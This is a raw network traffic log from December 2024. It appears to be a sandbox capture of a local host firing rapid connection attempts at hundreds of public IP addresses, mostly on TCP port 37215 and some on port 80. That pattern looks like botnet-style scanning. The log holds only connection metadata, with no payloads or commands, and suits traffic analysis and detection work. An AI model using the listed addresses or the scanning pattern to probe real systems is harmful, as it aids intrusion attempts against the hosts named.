Dec 3, 2024 21:30:50.252079964 CET	59009	37215	192.168.2.23	197.37.105.72
Dec 3, 2024 21:30:50.252093077 CET	59009	37215	192.168.2.23	197.95.10.221
Dec 3, 2024 21:30:50.252094030 CET	59009	37215	192.168.2.23	197.128.236.139
Dec 3, 2024 21:30:50.252100945 CET	59009	37215	192.168.2.23	197.223.158.4
Dec 3, 2024 21:30:50.252104044 CET	59009	37215	192.168.2.23	41.237.2.44
Dec 3, 2024 21:30:50.252113104 CET	59009	37215	192.168.2.23	41.203.252.66
Dec 3, 2024 21:30:50.252120972 CET	59009	37215	192.168.2.23	156.247.209.223
Dec 3, 2024 21:30:50.252124071 CET	59009	37215	192.168.2.23	41.33.172.149
Dec 3, 2024 21:30:50.252126932 CET	59009	37215	192.168.2.23	197.224.196.225
Dec 3, 2024 21:30:50.252127886 CET	59009	37215	192.168.2.23	156.49.230.100
Dec 3, 2024 21:30:50.252139091 CET	59009	37215	192.168.2.23	197.63.221.140
Dec 3, 2024 21:30:50.252145052 CET	59009	37215	192.168.2.23	156.149.62.6
Dec 3, 2024 21:30:50.252145052 CET	59009	37215	192.168.2.23	156.160.170.150
Dec 3, 2024 21:30:50.252151966 CET	59009	37215	192.168.2.23	41.115.152.119
Dec 3, 2024 21:30:50.252156019 CET	59009	37215	192.168.2.23	197.49.223.50
Dec 3, 2024 21:30:50.252166986 CET	59009	37215	192.168.2.23	156.227.182.106
Dec 3, 2024 21:30:50.252166986 CET	59009	37215	192.168.2.23	197.177.42.159
Dec 3, 2024 21:30:50.252168894 CET	59009	37215	192.168.2.23	156.162.48.193
Dec 3, 2024 21:30:50.252178907 CET	59009	37215	192.168.2.23	197.128.119.168
Dec 3, 2024 21:30:50.252192020 CET	59009	37215	192.168.2.23	41.139.222.196
Dec 3, 2024 21:30:50.252192020 CET	59009	37215	192.168.2.23	197.189.80.106
Dec 3, 2024 21:30:50.252193928 CET	59009	37215	192.168.2.23	41.92.97.199
Dec 3, 2024 21:30:50.252211094 CET	59009	37215	192.168.2.23	156.66.174.166
Dec 3, 2024 21:30:50.252211094 CET	59009	37215	192.168.2.23	41.6.75.227
Dec 3, 2024 21:30:50.252212048 CET	59009	37215	192.168.2.23	197.24.247.169
Dec 3, 2024 21:30:50.252213955 CET	59009	37215	192.168.2.23	41.179.38.105
Dec 3, 2024 21:30:50.252213955 CET	59009	37215	192.168.2.23	156.128.107.166
Dec 3, 2024 21:30:50.252213955 CET	59009	37215	192.168.2.23	41.53.199.39
Dec 3, 2024 21:30:50.252213955 CET	59009	37215	192.168.2.23	197.37.103.240
Dec 3, 2024 21:30:50.252213955 CET	59009	37215	192.168.2.23	156.192.104.203
Dec 3, 2024 21:30:50.252222061 CET	59009	37215	192.168.2.23	197.165.207.142
Dec 3, 2024 21:30:50.252228975 CET	59009	37215	192.168.2.23	197.116.88.9
Dec 3, 2024 21:30:50.252234936 CET	59009	37215	192.168.2.23	41.88.63.131
Dec 3, 2024 21:30:50.252243996 CET	59009	37215	192.168.2.23	41.10.11.80
Dec 3, 2024 21:30:50.252243996 CET	59009	37215	192.168.2.23	156.124.167.190
Dec 3, 2024 21:30:50.252249956 CET	59009	37215	192.168.2.23	197.172.178.246
Dec 3, 2024 21:30:50.252259970 CET	59009	37215	192.168.2.23	41.140.197.167
Dec 3, 2024 21:30:50.252260923 CET	59009	37215	192.168.2.23	41.98.114.30
Dec 3, 2024 21:30:50.252269030 CET	59009	37215	192.168.2.23	197.152.29.151
Dec 3, 2024 21:30:50.252275944 CET	59009	37215	192.168.2.23	197.108.12.111
Dec 3, 2024 21:30:50.252275944 CET	59009	37215	192.168.2.23	41.82.136.191
Dec 3, 2024 21:30:50.252279997 CET	59009	37215	192.168.2.23	156.158.84.215
Dec 3, 2024 21:30:50.252291918 CET	59009	37215	192.168.2.23	41.61.13.70
Dec 3, 2024 21:30:50.252294064 CET	59009	37215	192.168.2.23	41.118.81.224
Dec 3, 2024 21:30:50.252300978 CET	59009	37215	192.168.2.23	41.201.231.164
Dec 3, 2024 21:30:50.252304077 CET	59009	37215	192.168.2.23	156.220.219.69
Dec 3, 2024 21:30:50.252315044 CET	59009	37215	192.168.2.23	156.95.230.178
Dec 3, 2024 21:30:50.252315044 CET	59009	37215	192.168.2.23	156.133.127.2
Dec 3, 2024 21:30:50.252322912 CET	59009	37215	192.168.2.23	41.105.79.187
Dec 3, 2024 21:30:50.252335072 CET	59009	37215	192.168.2.23	156.151.175.156
Dec 3, 2024 21:30:50.252335072 CET	59009	37215	192.168.2.23	197.95.177.28
Dec 3, 2024 21:30:50.252336979 CET	59009	37215	192.168.2.23	197.122.127.13
Dec 3, 2024 21:30:50.252338886 CET	59009	37215	192.168.2.23	197.251.36.182
Dec 3, 2024 21:30:50.252338886 CET	59009	37215	192.168.2.23	197.150.217.245
Dec 3, 2024 21:30:50.252341986 CET	59009	37215	192.168.2.23	156.131.1.74
Dec 3, 2024 21:30:50.252348900 CET	59009	37215	192.168.2.23	156.67.144.133
Dec 3, 2024 21:30:50.252353907 CET	59009	37215	192.168.2.23	156.117.21.126
Dec 3, 2024 21:30:50.252357960 CET	59009	37215	192.168.2.23	156.58.74.239
Dec 3, 2024 21:30:50.252367020 CET	59009	37215	192.168.2.23	156.209.159.91
Dec 3, 2024 21:30:50.252370119 CET	59009	37215	192.168.2.23	197.210.91.10
Dec 3, 2024 21:30:50.252372026 CET	59009	37215	192.168.2.23	197.174.122.215
Dec 3, 2024 21:30:50.252386093 CET	59009	37215	192.168.2.23	197.41.89.234
Dec 3, 2024 21:30:50.252389908 CET	59009	37215	192.168.2.23	197.106.111.24
Dec 3, 2024 21:30:50.252389908 CET	59009	37215	192.168.2.23	156.92.187.3
Dec 3, 2024 21:30:50.252389908 CET	59009	37215	192.168.2.23	197.37.132.75
Dec 3, 2024 21:30:50.252409935 CET	59009	37215	192.168.2.23	156.10.246.138
Dec 3, 2024 21:30:50.252409935 CET	59009	37215	192.168.2.23	197.24.101.10
Dec 3, 2024 21:30:50.252410889 CET	59009	37215	192.168.2.23	197.152.88.124
Dec 3, 2024 21:30:50.252412081 CET	59009	37215	192.168.2.23	197.162.50.207
Dec 3, 2024 21:30:50.252413034 CET	59009	37215	192.168.2.23	156.166.28.96
Dec 3, 2024 21:30:50.252414942 CET	59009	37215	192.168.2.23	156.9.120.143
Dec 3, 2024 21:30:50.252415895 CET	59009	37215	192.168.2.23	41.210.74.152
Dec 3, 2024 21:30:50.252428055 CET	59009	37215	192.168.2.23	156.55.153.34
Dec 3, 2024 21:30:50.252428055 CET	59009	37215	192.168.2.23	197.236.62.120
Dec 3, 2024 21:30:50.252444983 CET	59009	37215	192.168.2.23	197.72.122.217
Dec 3, 2024 21:30:50.252448082 CET	59009	37215	192.168.2.23	41.115.59.129
Dec 3, 2024 21:30:50.252450943 CET	59009	37215	192.168.2.23	197.172.167.169
Dec 3, 2024 21:30:50.252450943 CET	59009	37215	192.168.2.23	197.143.217.171
Dec 3, 2024 21:30:50.252465963 CET	59009	37215	192.168.2.23	197.198.74.71
Dec 3, 2024 21:30:50.252469063 CET	59009	37215	192.168.2.23	41.222.112.170
Dec 3, 2024 21:30:50.252470970 CET	59009	37215	192.168.2.23	197.166.157.21
Dec 3, 2024 21:30:50.252473116 CET	59009	37215	192.168.2.23	41.43.39.109
Dec 3, 2024 21:30:50.252475023 CET	59009	37215	192.168.2.23	197.96.118.158
Dec 3, 2024 21:30:50.252485991 CET	59009	37215	192.168.2.23	156.84.35.210
Dec 3, 2024 21:30:50.252494097 CET	59009	37215	192.168.2.23	41.50.157.146
Dec 3, 2024 21:30:50.252494097 CET	59009	37215	192.168.2.23	156.40.95.134
Dec 3, 2024 21:30:50.252496004 CET	59009	37215	192.168.2.23	41.157.189.65
Dec 3, 2024 21:30:50.252506018 CET	59009	37215	192.168.2.23	197.66.84.196
Dec 3, 2024 21:30:50.252511978 CET	59009	37215	192.168.2.23	156.142.171.27
Dec 3, 2024 21:30:50.252516985 CET	59009	37215	192.168.2.23	41.141.247.87
Dec 3, 2024 21:30:50.252528906 CET	59009	37215	192.168.2.23	156.1.193.93
Dec 3, 2024 21:30:50.252531052 CET	59009	37215	192.168.2.23	156.49.158.213
Dec 3, 2024 21:30:50.252532005 CET	59009	37215	192.168.2.23	41.213.214.13
Dec 3, 2024 21:30:50.252542973 CET	59009	37215	192.168.2.23	156.217.150.39
Dec 3, 2024 21:30:50.252546072 CET	59009	37215	192.168.2.23	197.16.131.8
Dec 3, 2024 21:30:50.252552032 CET	59009	37215	192.168.2.23	197.106.195.18
Dec 3, 2024 21:30:50.252557039 CET	59009	37215	192.168.2.23	41.132.64.1
Dec 3, 2024 21:30:50.252566099 CET	59009	37215	192.168.2.23	41.35.232.83
Dec 3, 2024 21:30:50.252569914 CET	59009	37215	192.168.2.23	41.120.70.129
Dec 3, 2024 21:30:50.252574921 CET	59009	37215	192.168.2.23	156.230.7.130
Dec 3, 2024 21:30:50.252577066 CET	59009	37215	192.168.2.23	41.94.175.8
Dec 3, 2024 21:30:50.252588034 CET	59009	37215	192.168.2.23	41.138.64.29
Dec 3, 2024 21:30:50.252590895 CET	59009	37215	192.168.2.23	41.251.239.234
Dec 3, 2024 21:30:50.252604008 CET	59009	37215	192.168.2.23	197.253.181.152
Dec 3, 2024 21:30:50.252604961 CET	59009	37215	192.168.2.23	197.231.37.98
Dec 3, 2024 21:30:50.252605915 CET	59009	37215	192.168.2.23	156.74.248.0
Dec 3, 2024 21:30:50.252613068 CET	59009	37215	192.168.2.23	41.11.144.66
Dec 3, 2024 21:30:50.252619028 CET	59009	37215	192.168.2.23	197.138.208.161
Dec 3, 2024 21:30:50.252638102 CET	59009	37215	192.168.2.23	41.67.254.241
Dec 3, 2024 21:30:50.252638102 CET	59009	37215	192.168.2.23	197.70.176.106
Dec 3, 2024 21:30:50.252638102 CET	59009	37215	192.168.2.23	197.1.133.231
Dec 3, 2024 21:30:50.252645016 CET	59009	37215	192.168.2.23	197.206.182.196
Dec 3, 2024 21:30:50.252649069 CET	59009	37215	192.168.2.23	197.20.179.198
Dec 3, 2024 21:30:50.252656937 CET	59009	37215	192.168.2.23	156.79.107.117
Dec 3, 2024 21:30:50.252661943 CET	59009	37215	192.168.2.23	41.25.91.182
Dec 3, 2024 21:30:50.252671957 CET	59009	37215	192.168.2.23	197.178.234.24
Dec 3, 2024 21:30:50.252671957 CET	59009	37215	192.168.2.23	156.21.115.27
Dec 3, 2024 21:30:50.252677917 CET	59009	37215	192.168.2.23	197.93.142.226
Dec 3, 2024 21:30:50.252679110 CET	59009	37215	192.168.2.23	41.161.82.173
Dec 3, 2024 21:30:50.252695084 CET	59009	37215	192.168.2.23	41.86.152.4
Dec 3, 2024 21:30:50.252697945 CET	59009	37215	192.168.2.23	156.221.211.165
Dec 3, 2024 21:30:50.252708912 CET	59009	37215	192.168.2.23	41.70.124.240
Dec 3, 2024 21:30:50.252710104 CET	59009	37215	192.168.2.23	156.6.157.136
Dec 3, 2024 21:30:50.252712011 CET	59009	37215	192.168.2.23	41.84.66.9
Dec 3, 2024 21:30:50.252717018 CET	59009	37215	192.168.2.23	156.89.165.163
Dec 3, 2024 21:30:50.252717972 CET	59009	37215	192.168.2.23	197.238.21.34
Dec 3, 2024 21:30:50.252727032 CET	59009	37215	192.168.2.23	41.37.13.127
Dec 3, 2024 21:30:50.252727985 CET	59009	37215	192.168.2.23	41.159.198.30
Dec 3, 2024 21:30:50.252743006 CET	59009	37215	192.168.2.23	156.146.165.123
Dec 3, 2024 21:30:50.252743006 CET	59009	37215	192.168.2.23	156.105.44.213
Dec 3, 2024 21:30:50.252743959 CET	59009	37215	192.168.2.23	41.208.87.127
Dec 3, 2024 21:30:50.252752066 CET	59009	37215	192.168.2.23	156.247.130.247
Dec 3, 2024 21:30:50.252758026 CET	59009	37215	192.168.2.23	41.93.161.154
Dec 3, 2024 21:30:50.252760887 CET	59009	37215	192.168.2.23	41.67.197.74
Dec 3, 2024 21:30:50.252775908 CET	59009	37215	192.168.2.23	41.7.212.43
Dec 3, 2024 21:30:50.252779007 CET	59009	37215	192.168.2.23	197.105.253.30
Dec 3, 2024 21:30:50.252779007 CET	59009	37215	192.168.2.23	156.98.229.116
Dec 3, 2024 21:30:50.252787113 CET	59009	37215	192.168.2.23	156.55.172.127
Dec 3, 2024 21:30:50.252793074 CET	59009	37215	192.168.2.23	156.58.216.146
Dec 3, 2024 21:30:50.252796888 CET	59009	37215	192.168.2.23	41.188.88.209
Dec 3, 2024 21:30:50.252798080 CET	59009	37215	192.168.2.23	156.175.226.188
Dec 3, 2024 21:30:50.252804995 CET	59009	37215	192.168.2.23	197.50.153.218
Dec 3, 2024 21:30:50.252806902 CET	59009	37215	192.168.2.23	41.254.52.52
Dec 3, 2024 21:30:50.252816916 CET	59009	37215	192.168.2.23	41.67.54.176
Dec 3, 2024 21:30:50.252825975 CET	59009	37215	192.168.2.23	41.12.240.145
Dec 3, 2024 21:30:50.252825975 CET	59009	37215	192.168.2.23	197.252.23.225
Dec 3, 2024 21:30:50.252834082 CET	59009	37215	192.168.2.23	197.225.185.186
Dec 3, 2024 21:30:50.252834082 CET	59009	37215	192.168.2.23	41.177.24.201
Dec 3, 2024 21:30:50.252849102 CET	59009	37215	192.168.2.23	156.251.2.248
Dec 3, 2024 21:30:50.252850056 CET	59009	37215	192.168.2.23	156.119.3.5
Dec 3, 2024 21:30:50.252856016 CET	59009	37215	192.168.2.23	197.1.172.89
Dec 3, 2024 21:30:50.252862930 CET	59009	37215	192.168.2.23	156.143.255.94
Dec 3, 2024 21:30:50.252871990 CET	59009	37215	192.168.2.23	156.108.53.15
Dec 3, 2024 21:30:50.252872944 CET	59009	37215	192.168.2.23	197.246.131.21
Dec 3, 2024 21:30:50.252887011 CET	59009	37215	192.168.2.23	197.81.72.98
Dec 3, 2024 21:30:50.252887011 CET	59009	37215	192.168.2.23	197.117.148.204
Dec 3, 2024 21:30:50.252893925 CET	59009	37215	192.168.2.23	41.139.171.130
Dec 3, 2024 21:30:50.252898932 CET	59009	37215	192.168.2.23	197.224.78.165
Dec 3, 2024 21:30:50.252909899 CET	59009	37215	192.168.2.23	197.23.240.147
Dec 3, 2024 21:30:50.252913952 CET	59009	37215	192.168.2.23	156.244.13.136
Dec 3, 2024 21:30:50.252923012 CET	59009	37215	192.168.2.23	197.170.28.34
Dec 3, 2024 21:30:50.252923012 CET	59009	37215	192.168.2.23	41.157.9.33
Dec 3, 2024 21:30:50.252929926 CET	59009	37215	192.168.2.23	197.154.21.141
Dec 3, 2024 21:30:50.252938032 CET	59009	37215	192.168.2.23	197.99.23.57
Dec 3, 2024 21:30:50.252957106 CET	59009	37215	192.168.2.23	197.220.129.201
Dec 3, 2024 21:30:50.252958059 CET	59009	37215	192.168.2.23	197.57.82.10
Dec 3, 2024 21:30:50.252958059 CET	59009	37215	192.168.2.23	41.61.88.61
Dec 3, 2024 21:30:50.252958059 CET	59009	37215	192.168.2.23	41.115.147.136
Dec 3, 2024 21:30:50.252962112 CET	59009	37215	192.168.2.23	156.152.213.239
Dec 3, 2024 21:30:50.252964973 CET	59009	37215	192.168.2.23	156.200.160.111
Dec 3, 2024 21:30:50.252971888 CET	59009	37215	192.168.2.23	156.203.53.208
Dec 3, 2024 21:30:50.252980947 CET	59009	37215	192.168.2.23	41.202.212.225
Dec 3, 2024 21:30:50.252981901 CET	59009	37215	192.168.2.23	197.90.10.1
Dec 3, 2024 21:30:50.252981901 CET	59009	37215	192.168.2.23	41.177.83.246
Dec 3, 2024 21:30:50.252994061 CET	59009	37215	192.168.2.23	197.59.202.28
Dec 3, 2024 21:30:50.252999067 CET	59009	37215	192.168.2.23	197.160.123.36
Dec 3, 2024 21:30:50.252999067 CET	59009	37215	192.168.2.23	197.121.200.81
Dec 3, 2024 21:30:50.253005981 CET	59009	37215	192.168.2.23	156.251.10.176
Dec 3, 2024 21:30:50.253015041 CET	59009	37215	192.168.2.23	41.148.244.23
Dec 3, 2024 21:30:50.253016949 CET	59009	37215	192.168.2.23	41.247.141.214
Dec 3, 2024 21:30:50.253022909 CET	59009	37215	192.168.2.23	197.81.208.122
Dec 3, 2024 21:30:50.253027916 CET	59009	37215	192.168.2.23	156.34.50.189
Dec 3, 2024 21:30:50.253037930 CET	59009	37215	192.168.2.23	156.48.235.77
Dec 3, 2024 21:30:50.253052950 CET	59009	37215	192.168.2.23	156.175.60.134
Dec 3, 2024 21:30:50.253060102 CET	59009	37215	192.168.2.23	156.140.218.45
Dec 3, 2024 21:30:50.253060102 CET	59009	37215	192.168.2.23	41.54.163.92
Dec 3, 2024 21:30:50.253063917 CET	59009	37215	192.168.2.23	197.197.146.160
Dec 3, 2024 21:30:50.253074884 CET	59009	37215	192.168.2.23	41.62.198.9
Dec 3, 2024 21:30:50.253074884 CET	59009	37215	192.168.2.23	41.139.139.224
Dec 3, 2024 21:30:50.253082991 CET	59009	37215	192.168.2.23	156.249.201.69
Dec 3, 2024 21:30:50.253088951 CET	59009	37215	192.168.2.23	41.178.176.6
Dec 3, 2024 21:30:50.253093004 CET	59009	37215	192.168.2.23	156.30.171.210
Dec 3, 2024 21:30:50.253093958 CET	59009	37215	192.168.2.23	156.207.10.180
Dec 3, 2024 21:30:50.253094912 CET	59009	37215	192.168.2.23	197.130.69.48
Dec 3, 2024 21:30:50.253102064 CET	59009	37215	192.168.2.23	156.13.250.204
Dec 3, 2024 21:30:50.253103018 CET	59009	37215	192.168.2.23	197.75.82.69
Dec 3, 2024 21:30:50.253106117 CET	59009	37215	192.168.2.23	197.44.42.124
Dec 3, 2024 21:30:50.253106117 CET	59009	37215	192.168.2.23	41.100.41.53
Dec 3, 2024 21:30:50.253113985 CET	59009	37215	192.168.2.23	197.129.127.86
Dec 3, 2024 21:30:50.253113985 CET	59009	37215	192.168.2.23	197.115.177.123
Dec 3, 2024 21:30:50.253115892 CET	59009	37215	192.168.2.23	156.144.140.142
Dec 3, 2024 21:30:50.253117085 CET	59009	37215	192.168.2.23	197.227.153.26
Dec 3, 2024 21:30:50.253118038 CET	59009	37215	192.168.2.23	41.82.50.176
Dec 3, 2024 21:30:50.253118038 CET	59009	37215	192.168.2.23	197.16.102.248
Dec 3, 2024 21:30:50.253129959 CET	59009	37215	192.168.2.23	41.165.133.217
Dec 3, 2024 21:30:50.253129959 CET	59009	37215	192.168.2.23	197.120.197.85
Dec 3, 2024 21:30:50.253129959 CET	59009	37215	192.168.2.23	41.91.116.232
Dec 3, 2024 21:30:50.253129959 CET	59009	37215	192.168.2.23	156.11.192.45
Dec 3, 2024 21:30:50.253133059 CET	59009	37215	192.168.2.23	197.115.21.37
Dec 3, 2024 21:30:50.253138065 CET	59009	37215	192.168.2.23	197.0.122.1
Dec 3, 2024 21:30:50.253138065 CET	59009	37215	192.168.2.23	197.238.46.118
Dec 3, 2024 21:30:50.253138065 CET	59009	37215	192.168.2.23	156.189.114.25
Dec 3, 2024 21:30:50.253140926 CET	59009	37215	192.168.2.23	156.19.20.167
Dec 3, 2024 21:30:50.253140926 CET	59009	37215	192.168.2.23	41.71.72.226
Dec 3, 2024 21:30:50.253140926 CET	59009	37215	192.168.2.23	197.128.21.142
Dec 3, 2024 21:30:50.253140926 CET	59009	37215	192.168.2.23	41.74.113.109
Dec 3, 2024 21:30:50.253144979 CET	59009	37215	192.168.2.23	41.13.207.110
Dec 3, 2024 21:30:50.253148079 CET	59009	37215	192.168.2.23	156.81.235.89
Dec 3, 2024 21:30:50.253148079 CET	59009	37215	192.168.2.23	156.180.62.167
Dec 3, 2024 21:30:50.253149986 CET	59009	37215	192.168.2.23	197.235.251.46
Dec 3, 2024 21:30:50.253153086 CET	59009	37215	192.168.2.23	41.225.156.172
Dec 3, 2024 21:30:50.253153086 CET	59009	37215	192.168.2.23	197.116.231.129
Dec 3, 2024 21:30:50.253159046 CET	59009	37215	192.168.2.23	41.97.228.177
Dec 3, 2024 21:30:50.253160954 CET	59009	37215	192.168.2.23	41.223.6.97
Dec 3, 2024 21:30:50.253160954 CET	59009	37215	192.168.2.23	41.132.12.148
Dec 3, 2024 21:30:50.253170013 CET	59009	37215	192.168.2.23	156.230.99.17
Dec 3, 2024 21:30:50.253170013 CET	59009	37215	192.168.2.23	156.218.176.115
Dec 3, 2024 21:30:50.253170013 CET	59009	37215	192.168.2.23	156.169.215.122
Dec 3, 2024 21:30:50.253170013 CET	59009	37215	192.168.2.23	41.107.187.180
Dec 3, 2024 21:30:50.253173113 CET	59009	37215	192.168.2.23	156.121.13.14
Dec 3, 2024 21:30:50.253175020 CET	59009	37215	192.168.2.23	197.157.34.113
Dec 3, 2024 21:30:50.253175020 CET	59009	37215	192.168.2.23	197.13.7.253
Dec 3, 2024 21:30:50.253181934 CET	59009	37215	192.168.2.23	197.103.221.129
Dec 3, 2024 21:30:50.253181934 CET	59009	37215	192.168.2.23	197.147.204.157
Dec 3, 2024 21:30:50.253189087 CET	59009	37215	192.168.2.23	41.145.254.238
Dec 3, 2024 21:30:50.253194094 CET	59009	37215	192.168.2.23	41.201.254.31
Dec 3, 2024 21:30:50.253196001 CET	59009	37215	192.168.2.23	156.230.133.167
Dec 3, 2024 21:30:50.253197908 CET	59009	37215	192.168.2.23	156.115.194.21
Dec 3, 2024 21:30:50.253197908 CET	59009	37215	192.168.2.23	197.115.92.78
Dec 3, 2024 21:30:50.253204107 CET	59009	37215	192.168.2.23	197.228.11.46
Dec 3, 2024 21:30:50.253212929 CET	59009	37215	192.168.2.23	41.58.97.53
Dec 3, 2024 21:30:50.253221035 CET	59009	37215	192.168.2.23	156.51.157.147
Dec 3, 2024 21:30:50.253225088 CET	59009	37215	192.168.2.23	156.224.48.148
Dec 3, 2024 21:30:50.253226995 CET	59009	37215	192.168.2.23	156.215.87.239
Dec 3, 2024 21:30:50.253235102 CET	59009	37215	192.168.2.23	156.204.128.70
Dec 3, 2024 21:30:50.253237963 CET	59009	37215	192.168.2.23	156.86.87.18
Dec 3, 2024 21:30:50.253247976 CET	59009	37215	192.168.2.23	197.219.43.16
Dec 3, 2024 21:30:50.253249884 CET	59009	37215	192.168.2.23	41.151.25.181
Dec 3, 2024 21:30:50.253262997 CET	59009	37215	192.168.2.23	197.190.237.59
Dec 3, 2024 21:30:50.253268957 CET	59009	37215	192.168.2.23	197.25.196.135
Dec 3, 2024 21:30:50.253272057 CET	59009	37215	192.168.2.23	156.251.14.127
Dec 3, 2024 21:30:50.253274918 CET	59009	37215	192.168.2.23	156.106.54.19
Dec 3, 2024 21:30:50.253276110 CET	59009	37215	192.168.2.23	197.28.2.7
Dec 3, 2024 21:30:50.253290892 CET	59009	37215	192.168.2.23	156.23.185.8
Dec 3, 2024 21:30:50.253290892 CET	59009	37215	192.168.2.23	41.107.186.174
Dec 3, 2024 21:30:50.253293991 CET	59009	37215	192.168.2.23	41.176.106.233
Dec 3, 2024 21:30:50.253293991 CET	59009	37215	192.168.2.23	156.113.167.18
Dec 3, 2024 21:30:50.253302097 CET	59009	37215	192.168.2.23	197.124.149.239
Dec 3, 2024 21:30:50.253309965 CET	59009	37215	192.168.2.23	197.163.101.29
Dec 3, 2024 21:30:50.253313065 CET	59009	37215	192.168.2.23	156.117.75.181
Dec 3, 2024 21:30:50.253313065 CET	59009	37215	192.168.2.23	197.120.154.168
Dec 3, 2024 21:30:50.253323078 CET	59009	37215	192.168.2.23	156.213.53.71
Dec 3, 2024 21:30:50.253329992 CET	59009	37215	192.168.2.23	197.167.79.246
Dec 3, 2024 21:30:50.253340960 CET	59009	37215	192.168.2.23	197.222.83.241
Dec 3, 2024 21:30:50.253343105 CET	59009	37215	192.168.2.23	197.208.158.182
Dec 3, 2024 21:30:50.253343105 CET	59009	37215	192.168.2.23	41.12.164.116
Dec 3, 2024 21:30:50.253345966 CET	59009	37215	192.168.2.23	197.170.53.161
Dec 3, 2024 21:30:50.253346920 CET	59009	37215	192.168.2.23	156.231.74.123
Dec 3, 2024 21:30:50.253348112 CET	59009	37215	192.168.2.23	41.197.27.239
Dec 3, 2024 21:30:50.253348112 CET	59009	37215	192.168.2.23	41.200.164.32
Dec 3, 2024 21:30:50.253361940 CET	59009	37215	192.168.2.23	197.185.188.23
Dec 3, 2024 21:30:50.253369093 CET	59009	37215	192.168.2.23	197.8.152.1
Dec 3, 2024 21:30:50.253370047 CET	59009	37215	192.168.2.23	197.189.202.233
Dec 3, 2024 21:30:50.253370047 CET	59009	37215	192.168.2.23	197.57.164.0
Dec 3, 2024 21:30:50.253381968 CET	59009	37215	192.168.2.23	41.5.184.227
Dec 3, 2024 21:30:50.253381968 CET	59009	37215	192.168.2.23	41.166.47.130
Dec 3, 2024 21:30:50.253454924 CET	57396	37215	192.168.2.23	197.215.104.102
Dec 3, 2024 21:30:50.253479958 CET	57396	37215	192.168.2.23	197.215.104.102
Dec 3, 2024 21:30:50.254002094 CET	57598	37215	192.168.2.23	197.215.104.102
Dec 3, 2024 21:30:50.254412889 CET	50944	37215	192.168.2.23	197.59.152.207
Dec 3, 2024 21:30:50.254412889 CET	50944	37215	192.168.2.23	197.59.152.207
Dec 3, 2024 21:30:50.254730940 CET	51146	37215	192.168.2.23	197.59.152.207
Dec 3, 2024 21:30:50.284332991 CET	37215	48850	156.125.207.114	192.168.2.23
Dec 3, 2024 21:30:50.284360886 CET	80	44126	32.198.110.33	192.168.2.23
Dec 3, 2024 21:30:50.284369946 CET	80	54002	93.194.223.82	192.168.2.23
Dec 3, 2024 21:30:50.284404039 CET	37215	47658	156.128.47.189	192.168.2.23
Dec 3, 2024 21:30:50.284414053 CET	48850	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:50.284419060 CET	37215	48190	156.190.175.18	192.168.2.23
Dec 3, 2024 21:30:50.284424067 CET	44126	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:50.284424067 CET	54002	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:50.284427881 CET	80	41888	8.105.165.198	192.168.2.23
Dec 3, 2024 21:30:50.284437895 CET	37215	37778	197.244.48.70	192.168.2.23
Dec 3, 2024 21:30:50.284446001 CET	48850	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:50.284449100 CET	80	59458	81.168.40.42	192.168.2.23
Dec 3, 2024 21:30:50.284452915 CET	47658	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:50.284456015 CET	48190	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:50.284461021 CET	41888	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:50.284467936 CET	80	39532	5.104.106.96	192.168.2.23
Dec 3, 2024 21:30:50.284471989 CET	37778	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:50.284478903 CET	37215	43842	41.0.186.183	192.168.2.23
Dec 3, 2024 21:30:50.284485102 CET	59458	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:50.284487009 CET	48850	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:50.284488916 CET	80	50180	208.246.133.237	192.168.2.23
Dec 3, 2024 21:30:50.284499884 CET	37215	56978	41.140.236.148	192.168.2.23
Dec 3, 2024 21:30:50.284508944 CET	39532	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:50.284512997 CET	43842	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:50.284518003 CET	80	44170	148.66.215.250	192.168.2.23
Dec 3, 2024 21:30:50.284528017 CET	50180	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:50.284528971 CET	80	44024	185.221.32.180	192.168.2.23
Dec 3, 2024 21:30:50.284529924 CET	56978	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:50.284538984 CET	80	59906	145.105.254.172	192.168.2.23
Dec 3, 2024 21:30:50.284549952 CET	37215	52706	197.216.74.198	192.168.2.23
Dec 3, 2024 21:30:50.284559965 CET	44170	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:50.284560919 CET	80	60028	104.234.241.23	192.168.2.23
Dec 3, 2024 21:30:50.284559965 CET	44024	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:50.284573078 CET	80	39598	62.96.206.43	192.168.2.23
Dec 3, 2024 21:30:50.284581900 CET	59906	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:50.284584045 CET	52706	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:50.284594059 CET	60028	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:50.284596920 CET	80	56784	23.46.95.33	192.168.2.23
Dec 3, 2024 21:30:50.284604073 CET	39598	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:50.284607887 CET	80	34436	24.149.246.129	192.168.2.23
Dec 3, 2024 21:30:50.284614086 CET	37215	60294	156.221.107.169	192.168.2.23
Dec 3, 2024 21:30:50.284635067 CET	56784	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:50.284643888 CET	34436	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:50.284661055 CET	60294	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:50.284671068 CET	59010	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.284677982 CET	59010	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.284678936 CET	80	43128	4.17.178.247	192.168.2.23
Dec 3, 2024 21:30:50.284688950 CET	80	35140	167.75.81.162	192.168.2.23
Dec 3, 2024 21:30:50.284693003 CET	59010	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.284699917 CET	37215	45200	41.130.173.219	192.168.2.23
Dec 3, 2024 21:30:50.284704924 CET	59010	80	192.168.2.23	151.249.87.209
Dec 3, 2024 21:30:50.284704924 CET	59010	80	192.168.2.23	37.215.115.63
